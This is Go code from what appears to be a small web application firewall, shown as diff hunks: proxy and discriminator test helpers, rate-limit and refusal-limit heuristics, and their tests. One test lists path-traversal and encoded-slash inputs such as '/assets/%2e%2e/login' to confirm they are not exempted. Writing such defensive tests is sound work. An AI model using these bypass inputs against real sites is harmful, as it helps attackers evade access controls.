func startProxy(t *testing.T, appURL string, env map[string]string) (string, *output) {
|
||||
t.Helper()
|
||||
|
||||
return startProxyWithGeoJS(t, appURL, "", env)
|
||||
}
|
||||
|
||||
// startProxyWithGeoJS is startProxy with clients' AS numbers and
|
||||
// countries looked up at geojsURL.
|
||||
func startProxyWithGeoJS(
|
||||
t *testing.T, appURL, geojsURL string, env map[string]string,
|
||||
) (string, *output) {
|
||||
t.Helper()
|
||||
|
||||
addr, out, _ := startProxyWithClock(t, appURL, geojsURL, time.Now, env)
|
||||
|
||||
return addr, out
|
||||
}
|
||||
|
||||
// startProxyWithClock is startProxyWithGeoJS with requests counted and
|
||||
// bans made by the time now tells, and returns discriminator's server as well, whose
|
||||
// Addr is where discriminator listens. Unless env sets SWW_RULES_DIR, it is an empty
|
||||
// directory, of no rules, and unless it sets SWW_INSTANCE_NAME, that is app,
|
||||
// the label instance of every metric.
|
||||
func startProxyWithClock(
|
||||
t *testing.T, appURL, geojsURL string, now func() time.Time,
|
||||
env map[string]string,
|
||||
) (string, *output, *discriminator.Server) {
|
||||
t.Helper()
|
||||
|
||||
addr, out, server, _ := startProxyWithAlerts(t, appURL, geojsURL, now, env)
|
||||
|
||||
return addr, out, server
|
||||
}
|
||||
|
||||
// startProxyWithAlerts is startProxyWithClock, and returns the queue of
|
||||
// the alerts discriminator raises as well, as newDiscriminator makes them.
|
||||
func startProxyWithAlerts(
|
||||
t *testing.T, appURL, geojsURL string, now func() time.Time,
|
||||
env map[string]string,
|
||||
) (string, *output, *discriminator.Server, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
server, out, alertQueue := newDiscriminator(t, geojsURL, now, env)
|
||||
serve(t, server)
|
||||
|
||||
return startRProxy(t, server.Addr, appURL, env), out, server, alertQueue
|
||||
}
|
||||
|
||||
// serve serves server on a port of its own until the test ends, and sets its
|
||||
// Addr to where it listens.
|
||||
func serve(t *testing.T, server *discriminator.Server) {
|
||||
t.Helper()
|
||||
|
||||
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen: %v", err)
|
||||
}
|
||||
|
||||
server.Addr = listener.Addr().String()
|
||||
|
||||
go func() {
|
||||
_ = server.Serve(listener)
|
||||
}()
|
||||
|
||||
t.Cleanup(func() {
|
||||
_ = server.Close()
|
||||
})
|
||||
}
|
||||
|
||||
// startRProxy starts rproxy in front of the app at appURL, asking the discriminator
|
||||
// at discriminatorAddr, with the settings in env on top of the defaults, and returns
|
||||
// where it listens. What it writes is dropped. SWRP_TIMEOUT_MS is a minute unless
|
||||
// env sets it, so that on a busy host SWRP_DEFAULT_DISPOSITION does not decide.
|
||||
func startRProxy(
|
||||
t *testing.T, discriminatorAddr, appURL string, env map[string]string,
|
||||
) string {
|
||||
t.Helper()
|
||||
|
||||
settings := map[string]string{
|
||||
"SWRP_WAF_BACKEND": "http://" + discriminatorAddr,
|
||||
"SWRP_UPSTREAM_URL": appURL,
|
||||
"SWRP_TIMEOUT_MS": "60000",
|
||||
}
|
||||
maps.Copy(settings, env)
|
||||
|
||||
cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
|
||||
value, ok := settings[name]
|
||||
|
||||
return value, ok
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("settings %v: %v", settings, err)
|
||||
}
|
||||
|
||||
server := rproxy.New(rproxy.Params{
|
||||
Config: cfg,
|
||||
RequestLog: io.Discard,
|
||||
ProcessLog: requestlog.NewProcessLogger(io.Discard, "rproxy", slog.LevelInfo),
|
||||
})
|
||||
|
||||
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen: %v", err)
|
||||
}
|
||||
|
||||
go func() {
|
||||
_ = server.Serve(listener)
|
||||
}()
|
||||
|
||||
t.Cleanup(func() {
|
||||
_ = server.Close()
|
||||
})
|
||||
|
||||
return listener.Addr().String()
|
||||
}
|
||||
|
||||
// newDiscriminator makes discriminator's server, without starting it, and
|
||||
// returns it, what it writes, and the queue of the alerts it raises, as the
|
||||
// settings in env make it. No alert is sent from the queue: they wait in it,
|
||||
// for the test to look at.
|
||||
// With no geojsURL, there is no stand-in for GeoJS to look clients up at, and
|
||||
// SWW_LOOKUP_SOURCE is off unless env sets it. While it is file, the lookup
|
||||
// database SWW_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
|
||||
// at abuseIPDBURL while env sets SWW_ABUSEIPDB_KEY. SWW_WAF_MODE is off unless
|
||||
// env sets it, so that only the tests of the Core Rule Set have their requests
|
||||
// inspected by it.
|
||||
func newDiscriminator(
|
||||
t *testing.T, geojsURL string, now func() time.Time, env map[string]string,
|
||||
) (*discriminator.Server, *output, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
return newDiscriminatorWith(t, discriminator.New, geojsURL, now, env)
|
||||
}
|
||||
|
||||
// newDiscriminatorWith is newDiscriminator for the server build makes.
|
||||
func newDiscriminatorWith(
|
||||
t *testing.T, build func(discriminator.Params) *discriminator.Server,
|
||||
geojsURL string, now func() time.Time, env map[string]string,
|
||||
) (*discriminator.Server, *output, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
settings := map[string]string{
|
||||
rulesDir: t.TempDir(), instanceName: "app", wafMode: off,
|
||||
}
|
||||
if geojsURL == "" {
|
||||
settings[lookupSource] = off
|
||||
}
|
||||
|
||||
maps.Copy(settings, env)
|
||||
|
||||
cfg, err := config.FromEnvironment(func(name string) (string, bool) {
|
||||
value, ok := settings[name]
|
||||
|
||||
return value, ok
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("settings %v: %v", settings, err)
|
||||
}
|
||||
|
||||
out := &output{}
|
||||
processLog := requestlog.NewProcessLogger(out, cfg.InstanceName, cfg.LogLevel)
|
||||
|
||||
ruleFiles, err := rules.Load(rules.Params{
|
||||
Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("rule files: %v", err)
|
||||
}
|
||||
|
||||
alertQueue := alerts.New(alerts.Params{
|
||||
WebhookURL: cfg.AlertWebhookURL,
|
||||
Events: cfg.AlertEvents,
|
||||
Cooldown: cfg.AlertCooldown,
|
||||
MaxPerHour: cfg.AlertMaxPerHour,
|
||||
Instance: cfg.InstanceName,
|
||||
Now: now,
|
||||
ProcessLog: processLog,
|
||||
})
|
||||
|
||||
var lookupFile *lookup.File
|
||||
|
||||
if cfg.LookupSource == fileSource {
|
||||
lookupFile, err = lookup.OpenFile(lookup.FileParams{
|
||||
Path: cfg.LookupDBPath, Now: now, ProcessLog: processLog, Alerts: alertQueue,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("lookup database: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
coreRuleSet, err := discriminator.NewCoreRuleSet(cfg)
|
||||
if err != nil {
|
||||
t.Fatalf("Core Rule Set: %v", err)
|
||||
}
|
||||
|
||||
server := build(discriminator.Params{
|
||||
Config: cfg,
|
||||
RequestLog: out,
|
||||
ProcessLog: processLog,
|
||||
GeoJSURL: geojsURL,
|
||||
AbuseIPDBURL: abuseIPDBURL,
|
||||
LookupFile: lookupFile,
|
||||
CoreRuleSet: coreRuleSet,
|
||||
Now: now,
|
||||
Rules: ruleFiles,
|
||||
Alerts: alertQueue,
|
||||
})
|
||||
|
||||
return server, out, alertQueue
|
||||
}
|
||||
|
||||
// newClient returns an HTTP client that sends requests as they are made,
|
||||
// with no compression of its own.
|
||||
func newClient(t *testing.T) *http.Client {
|
||||
t.Helper()
|
||||
|
||||
transport := &http.Transport{DisableCompression: true}
|
||||
t.Cleanup(transport.CloseIdleConnections)
|
||||
|
||||
return &http.Client{Transport: transport}
|
||||
}
|
||||
|
||||
// answer is a response as a test reads it: the status, the headers, as
|
||||
// much of the body as arrived, and the error that ended the reading, nil
|
||||
// when the whole body arrived.
|
||||
type answer struct {
|
||||
status int
|
||||
header http.Header
|
||||
body []byte
|
||||
err error
|
||||
}
|
||||
|
||||
// readAnswer reads all of res, and closes its body.
|
||||
func readAnswer(res *http.Response) answer {
|
||||
body, err := io.ReadAll(res.Body)
|
||||
_ = res.Body.Close()
|
||||
|
||||
return answer{status: res.StatusCode, header: res.Header, body: body, err: err}
|
||||
}
|
||||
|
||||
// newRequest makes a request for path to addr, where rproxy or discriminator listens.
|
||||
func newRequest(t *testing.T, method, addr, path string, body io.Reader) *http.Request {
|
||||
t.Helper()
|
||||
|
||||
req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+path, body)
|
||||
if err != nil {
|
||||
t.Fatalf("new request: %v", err)
|
||||
}
|
||||
|
||||
return req
|
||||
}
|
||||
|
||||
// do sends req and reads the answer.
|
||||
func do(t *testing.T, req *http.Request) answer {
|
||||
t.Helper()
|
||||
|
||||
res, err := newClient(t).Do(req)
|
||||
if err != nil {
|
||||
t.Fatalf("%s %s: %v", req.Method, req.URL.Path, err)
|
||||
}
|
||||
|
||||
return readAnswer(res)
|
||||
}
|
||||
|
||||
// get sends a GET request for path to addr.
|
||||
func get(t *testing.T, addr, path string) answer {
|
||||
t.Helper()
|
||||
|
||||
return do(t, newRequest(t, http.MethodGet, addr, path, http.NoBody))
|
||||
}
|
||||
|
||||
// dial opens a connection to addr, for requests the HTTP client cannot make,
|
||||
// such as one that stops sending halfway.
|
||||
func dial(t *testing.T, addr string) net.Conn {
|
||||
t.Helper()
|
||||
|
||||
conn, err := (&net.Dialer{}).DialContext(t.Context(), "tcp", addr)
|
||||
if err != nil {
|
||||
t.Fatalf("dial %s: %v", addr, err)
|
||||
}
|
||||
|
||||
t.Cleanup(func() {
|
||||
_ = conn.Close()
|
||||
})
|
||||
|
||||
return conn
|
||||
}
|
||||
|
||||
// send writes text to conn.
|
||||
func send(t *testing.T, conn net.Conn, text string) {
|
||||
t.Helper()
|
||||
|
||||
_, err := io.WriteString(conn, text)
|
||||
if err != nil {
|
||||
t.Fatalf("send: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// readResponse reads the answer to a request sent on conn.
|
||||
func readResponse(t *testing.T, conn net.Conn) answer {
|
||||
t.Helper()
|
||||
|
||||
err := conn.SetReadDeadline(time.Now().Add(waitLimit))
|
||||
if err != nil {
|
||||
t.Fatalf("set read deadline: %v", err)
|
||||
}
|
||||
|
||||
res, err := http.ReadResponse(bufio.NewReader(conn), nil)
|
||||
if err != nil {
|
||||
t.Fatalf("read response: %v", err)
|
||||
}
|
||||
|
||||
return readAnswer(res)
|
||||
}
|
||||
|
||||
// wantLine checks the request log line's status and action.
|
||||
func wantLine(t *testing.T, line logLine, status int, action string) {
|
||||
t.Helper()
|
||||
|
||||
if line.Status != status || line.Action != action {
|
||||
t.Errorf("log line has status %d and action %q, want %d and %q",
|
||||
line.Status, line.Action, status, action)
|
||||
}
|
||||
}
|
||||
|
||||
// wantStatus checks an answer's status.
|
||||
func wantStatus(t *testing.T, got answer, status int) {
|
||||
t.Helper()
|
||||
|
||||
if got.status != status {
|
||||
t.Errorf("status %d, want %d", got.status, status)
|
||||
}
|
||||
}
|
||||
@@ -1,69 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic rate_limits. It reads SWW_RATE_LIMIT_EXEMPT_NETS,
|
||||
// SWW_RATE_LIMIT_EXEMPT_PATHS and SWW_BAN_RESPONSE, and the rate limits and
|
||||
// biased thresholds through the limiter and limitPercentages.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// rateLimits counts the request for the rate limits, unless
|
||||
// countedByRateLimits exempts it, by the client's limit percentages, which it
|
||||
// notes for the log line with the client's counts. A request that takes the
|
||||
// client over a rate limit, as its limit percentage lowers it, breaks it: it is
|
||||
// refused, and bans the client. A request exempt from the rate limits is exempt
|
||||
// from the byte limits too. Its figures are the window, the count and the
|
||||
// limit.
|
||||
type rateLimits struct{}
|
||||
|
||||
func (rateLimits) name() string { return "rate_limits" }
|
||||
|
||||
func (rateLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||
rq.counted = rq.countedByRateLimits()
|
||||
if !rq.counted {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.rateLimitPercent, rq.bytesLimitPercent = rq.limitPercentages()
|
||||
rq.line.RateLimitPercent, rq.line.RateLimitPercentSetting =
|
||||
rq.rateLimitPercent.logged()
|
||||
rq.line.BytesLimitPercent, rq.line.BytesLimitPercentSetting =
|
||||
rq.bytesLimitPercent.logged()
|
||||
|
||||
counts, hit, over := rq.h.limiter.Count(rq.h.clientGroup(rq.client), now,
|
||||
rq.rateLimitPercent.percent)
|
||||
rq.line.Counts = counts
|
||||
|
||||
if !over {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.banForLimit(now, hit, rq.h.config.BanResponse)
|
||||
|
||||
return &verdict{
|
||||
action: requestlog.ActionClientIsRateLimited, figures: limitFigures(hit),
|
||||
}
|
||||
}
|
||||
|
||||
// overAWholeRateLimit reports whether the heuristic rate_limits will refuse the
|
||||
// request at now, whatever its client's limit percentages: the rate limits
|
||||
// count it, and one more request from its client takes it over a whole rate
|
||||
// limit. It counts nothing.
|
||||
func (rq *request) overAWholeRateLimit(now time.Time) bool {
|
||||
return rq.countedByRateLimits() &&
|
||||
rq.h.limiter.OverARateLimit(rq.h.clientGroup(rq.client), now)
|
||||
}
|
||||
|
||||
// countedByRateLimits reports whether the rate limits count the request: its
|
||||
// client is not in SWW_RATE_LIMIT_EXEMPT_NETS, and its path is not exempt
|
||||
// under SWW_RATE_LIMIT_EXEMPT_PATHS.
|
||||
func (rq *request) countedByRateLimits() bool {
|
||||
cfg := rq.h.config
|
||||
|
||||
return !isInside(rq.client, cfg.RateLimitExemptNets) &&
|
||||
!pathExempt(rq.in, cfg.RateLimitExemptPaths)
|
||||
}
|
||||
@@ -1,220 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// minute is the window of SWW_RATE_LIMIT_PER_MINUTE, as a log line's
|
||||
// limit_hit names it.
|
||||
const minute = "minute"
|
||||
|
||||
func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
var calls atomic.Int32
|
||||
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
calls.Add(1)
|
||||
})
|
||||
addr, out := startProxy(t, app.URL, map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
rateLimitPerMinute: "1",
|
||||
})
|
||||
|
||||
const otherClient = "203.0.113.10"
|
||||
|
||||
// With a limit of one request a minute, a client's second request is
|
||||
// refused, with 403 by default. A client is one IPv4 address, or one
|
||||
// IPv6 /64; an IPv4 address in IPv6 form is that IPv4 address.
|
||||
requests := []struct {
|
||||
client string // as X-Forwarded-For names it
|
||||
logged string // as the log line's client_ip names it
|
||||
want int
|
||||
}{
|
||||
{client, client, http.StatusOK},
|
||||
{client, client, http.StatusForbidden},
|
||||
{otherClient, otherClient, http.StatusOK},
|
||||
{"::ffff:" + otherClient, otherClient, http.StatusForbidden},
|
||||
{"2001:db8::1", "2001:db8::1", http.StatusOK},
|
||||
{"2001:db8::8000:0:0:1", "2001:db8::8000:0:0:1", http.StatusForbidden},
|
||||
{"2001:db8:0:1::1", "2001:db8:0:1::1", http.StatusOK},
|
||||
}
|
||||
|
||||
for i, sent := range requests {
|
||||
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
||||
req.Header.Set(forwardedFor, sent.client)
|
||||
wantStatus(t, do(t, req), sent.want)
|
||||
|
||||
line := out.endedLines(t, i+1)[i]
|
||||
if line.ClientIP != sent.logged {
|
||||
t.Errorf("log line has client_ip %q, want %q", line.ClientIP, sent.logged)
|
||||
}
|
||||
|
||||
if sent.want == http.StatusOK {
|
||||
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
|
||||
} else {
|
||||
wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
if line.LimitHit != minute {
|
||||
t.Errorf("log line has limit_hit %q, want minute", line.LimitHit)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if calls.Load() != 4 {
|
||||
t.Errorf("the app was called %d times, want 4", calls.Load())
|
||||
}
|
||||
}
|
||||
|
||||
func TestRateLimitRefusalNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
|
||||
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
wantHeuristic(t, line, "rate_limits", `{"window": "minute", "count": 2, "limit": 1}`)
|
||||
}
|
||||
|
||||
func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// With SWW_IPV6_GROUP_PREFIX at 48, the first two addresses, in two
|
||||
// /64s of one /48, are one client, and the second's request breaks the
|
||||
// limit; the third, in the next /48, is another client.
|
||||
const (
|
||||
first = "2001:db8:9::1"
|
||||
second = "2001:db8:9:1::1"
|
||||
other = "2001:db8:a::1"
|
||||
)
|
||||
|
||||
for _, tc := range []struct {
|
||||
setting, value string
|
||||
// status and action are those of the request that breaks the
|
||||
// limit: a rate limit refuses it, a byte limit passes it on.
|
||||
status int
|
||||
action string
|
||||
}{
|
||||
{rateLimitPerMinute, "1", http.StatusForbidden, requestlog.ActionClientIsRateLimited},
|
||||
{bytesLimitPerMinute, byteLimit, http.StatusOK, requestlog.ActionForward},
|
||||
} {
|
||||
t.Run(tc.setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _ := startWithAnswers(t, map[string]string{
|
||||
ipv6GroupPrefix: "48", tc.setting: tc.value,
|
||||
})
|
||||
|
||||
s.get(first, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
line := s.get(second, tc.status, tc.action)
|
||||
if line.ClientGroup != "2001:db8:9::/48" ||
|
||||
line.Offence != requestlog.OffenceLimit {
|
||||
t.Errorf("log line has client_group %q and offence %q, "+
|
||||
"want 2001:db8:9::/48 and limit", line.ClientGroup, line.Offence)
|
||||
}
|
||||
|
||||
s.get(other, http.StatusOK, requestlog.ActionForward)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const denied = "192.0.2.50" // in SWW_DENY_NETS
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s, _, server := startWithClock(t, geojsURL, map[string]string{
|
||||
rateLimitPerMinute: "1",
|
||||
rateLimitExemptPaths: "/assets/,/favicon.ico",
|
||||
denyNets: denied,
|
||||
tagDeny: denyKP,
|
||||
})
|
||||
|
||||
// The answers are kept before the requests, so that none waits for
|
||||
// GeoJS.
|
||||
server.GeoJS.Load([]lookup.Answer{
|
||||
keptAnswer(client, "DE"), keptAnswer(fromKP, "KP"),
|
||||
})
|
||||
|
||||
// With a limit of one request a minute, the requests for paths under a
|
||||
// prefix are not counted, so client's first request for / is within
|
||||
// the limit; and once client has reached it, they are not refused.
|
||||
s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward)
|
||||
s.request(client, "/favicon.ico?v=2", http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
line := s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward)
|
||||
if line.LimitHit != "" || line.Counts != (ratelimit.Counts{}) {
|
||||
t.Errorf("log line has limit_hit %q and counts %+v, want neither",
|
||||
line.LimitHit, line.Counts)
|
||||
}
|
||||
|
||||
// A path outside every prefix is counted: /assets is not under
|
||||
// /assets/, and breaks the limit.
|
||||
s.request(client, "/assets", http.StatusForbidden,
|
||||
requestlog.ActionClientIsRateLimited)
|
||||
|
||||
// A ban, SWW_DENY_NETS and SWW_TAG_DENY still refuse a path under a
|
||||
// prefix.
|
||||
s.request(client, "/assets/app.js", http.StatusForbidden,
|
||||
requestlog.ActionTemporarilyBanned)
|
||||
s.request(denied, "/assets/app.js", http.StatusForbidden,
|
||||
requestlog.ActionClientDenied)
|
||||
s.request(fromKP, "/assets/app.js",
|
||||
http.StatusForbidden, requestlog.ActionClientDenied)
|
||||
}
|
||||
|
||||
func TestRateLimitCountsPathsThatAreNotExempt(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, sent := range []string{
|
||||
// A prefix matches only at the start of the path.
|
||||
"/static/assets/app.js",
|
||||
// A prefix matches the path as sent: a router that matches the
|
||||
// path as received does not take /%61ssets/x for a path under
|
||||
// /assets/.
|
||||
"/%61ssets/x",
|
||||
// .. once percent-decoded: an app may act on these as /login, the
|
||||
// last as a path under /sneak/app/ or as /assets/x.
|
||||
"/assets/../login",
|
||||
"/assets/%2e%2e/login",
|
||||
"/assets/..%2Flogin",
|
||||
"/assets/..;/login",
|
||||
"/sneak/app/src/branch/main/..%2F..%2F..%2F..%2F..%2F..%2Fassets/x",
|
||||
// Not under /assets/ as sent: Go's router takes /assets%2Fx for one
|
||||
// path segment, not a path under /assets/.
|
||||
"/assets%2Fx",
|
||||
"/assets%2fx",
|
||||
// Under /assets/ as sent, but holding an encoded slash, in either
|
||||
// case, or a backslash: never exempt, whatever the prefix.
|
||||
"/assets/x%2Fy",
|
||||
"/assets/x%2fy",
|
||||
`/assets/x\y`,
|
||||
// The same with a character Go escapes, |, for which Go's
|
||||
// URL.EscapedPath gives /assets/x/y%7Cz, with no encoded slash.
|
||||
"/assets/x%2Fy|z",
|
||||
} {
|
||||
t.Run(sent, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
rateLimitPerMinute: "1",
|
||||
rateLimitExemptPaths: "/assets/",
|
||||
})
|
||||
|
||||
// Counted, the second request breaks the limit of one request
|
||||
// a minute.
|
||||
s.request(client, sent, http.StatusOK, requestlog.ActionForward)
|
||||
s.request(client, sent, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -1,54 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic refusal_limit. It reads SWW_ERROR_BURST_THRESHOLD and
|
||||
// SWW_BAN_RESPONSE.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// refusalLimit counts the request once it has been answered, if discriminator
|
||||
// refused it after a rule file match, a trap path or a Core Rule Set match, and
|
||||
// in observe mode if enforce mode would have: more than
|
||||
// SWW_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
|
||||
// a limit, which bans the client. A client in SWW_ALLOW_NETS, which the
|
||||
// heuristics skip, is not counted, and nothing is while the threshold is off.
|
||||
// Its figures are the window, the count and the limit.
|
||||
type refusalLimit struct{}
|
||||
|
||||
func (refusalLimit) name() string { return "refusal_limit" }
|
||||
|
||||
func (refusalLimit) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||
cfg := rq.h.config
|
||||
if cfg.ErrorBurstThreshold == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
if !rq.attack && !rq.blockedByBlockRule && !rq.blockedByCoreRuleSet {
|
||||
return nil
|
||||
}
|
||||
|
||||
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
|
||||
cfg.ErrorBurstThreshold)
|
||||
if !over {
|
||||
return nil
|
||||
}
|
||||
|
||||
// What the client was sent, or in observe mode would have been.
|
||||
status := rq.out.status
|
||||
|
||||
switch rq.line.WouldAction {
|
||||
case requestlog.ActionBlockedByBlockRule, requestlog.ActionBlockedByCoreRuleSet:
|
||||
status = http.StatusForbidden
|
||||
case requestlog.ActionTemporarilyBanned, requestlog.ActionPermanentlyBanned:
|
||||
status = cfg.BanResponse
|
||||
}
|
||||
|
||||
rq.banForLimit(now, hit, status)
|
||||
|
||||
return &verdict{figures: limitFigures(hit)}
|
||||
}
|
||||
@@ -1,398 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"maps"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"reflect"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
const errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
|
||||
|
||||
// refused is a request the tests here send, which discriminator refuses after a rule
|
||||
// file match.
|
||||
type refused int
|
||||
|
||||
const (
|
||||
// blockRule is a request testRules' block rule refuses with 403.
|
||||
blockRule refused = iota
|
||||
// banRule is one its ban rule refuses with 403, and bans the client
|
||||
// for.
|
||||
banRule
|
||||
)
|
||||
|
||||
// send sends r from the client at from, checks its answer and log line as
|
||||
// sender.request does, and returns the line.
|
||||
func (r refused) send(s *sender, from string) logLine {
|
||||
s.t.Helper()
|
||||
|
||||
switch r {
|
||||
case blockRule:
|
||||
return s.request(from, blockedPath, http.StatusForbidden,
|
||||
requestlog.ActionBlockedByBlockRule)
|
||||
case banRule:
|
||||
return s.request(from, probePath, http.StatusForbidden,
|
||||
requestlog.ActionTemporarilyBanned)
|
||||
}
|
||||
|
||||
s.t.Fatalf("no request for the refusal %d", r)
|
||||
|
||||
return logLine{}
|
||||
}
|
||||
|
||||
// startForErrorBurst is startWithClock with testRules, the metrics token and
|
||||
// SWW_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
|
||||
func startForErrorBurst(
|
||||
t *testing.T, threshold string, env map[string]string,
|
||||
) (*sender, *clock, *discriminator.Server) {
|
||||
t.Helper()
|
||||
|
||||
settings := map[string]string{
|
||||
errorBurstThreshold: threshold,
|
||||
rulesDir: writeRules(t, testRules),
|
||||
metricsToken: token,
|
||||
}
|
||||
maps.Copy(settings, env)
|
||||
|
||||
return startWithClock(t, "", settings)
|
||||
}
|
||||
|
||||
func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
// refusals are four, one over the threshold of three.
|
||||
refusals []refused
|
||||
// nextAction is the action of the client's next request: the next
|
||||
// request after a ban for a ban rule makes it permanent.
|
||||
nextAction string
|
||||
}{
|
||||
{
|
||||
"block rule",
|
||||
[]refused{blockRule, blockRule, blockRule, blockRule},
|
||||
requestlog.ActionTemporarilyBanned,
|
||||
},
|
||||
{
|
||||
"a ban rule last",
|
||||
[]refused{blockRule, blockRule, blockRule, banRule},
|
||||
requestlog.ActionPermanentlyBanned,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startForErrorBurst(t, "3", nil)
|
||||
|
||||
// Three refusals break nothing, and the app's answers between
|
||||
// them are not counted.
|
||||
for i, r := range tc.refusals[:3] {
|
||||
line := r.send(s, client)
|
||||
if line.LimitHit != "" || line.Offence != "" {
|
||||
t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+
|
||||
"want none", i+1, line.LimitHit, line.Offence)
|
||||
}
|
||||
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
// The fourth is answered as the others were, breaks the error
|
||||
// burst, and bans the client.
|
||||
line := tc.refusals[3].send(s, client)
|
||||
if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
|
||||
line.Offence != requestlog.OffenceLimit {
|
||||
t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals "+
|
||||
"and limit", line.LimitHit, line.Offence)
|
||||
}
|
||||
|
||||
s.get(client, http.StatusForbidden, tc.nextAction)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startForErrorBurst(t, "1", nil)
|
||||
|
||||
const ruleFigures = `{"rule_id": "blocked", "rule_action": "block"}`
|
||||
|
||||
line := blockRule.send(s, client)
|
||||
wantHeuristic(t, line, "rule_files", ruleFigures)
|
||||
wantAfterAnswerHeuristic(t, line, "", "null")
|
||||
|
||||
// The second refusal is the request refusal_limit bans for, and the line
|
||||
// names both.
|
||||
line = blockRule.send(s, client)
|
||||
wantHeuristic(t, line, "rule_files", ruleFigures)
|
||||
wantAfterAnswerHeuristic(t, line, "refusal_limit",
|
||||
`{"window": "minute", "count": 2, "limit": 1}`)
|
||||
}
|
||||
|
||||
func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server := startForErrorBurst(t, "2", nil)
|
||||
start := clk.Now()
|
||||
|
||||
blockRule.send(s, client)
|
||||
blockRule.send(s, client)
|
||||
line := blockRule.send(s, client)
|
||||
|
||||
expires := start.Add(time.Hour)
|
||||
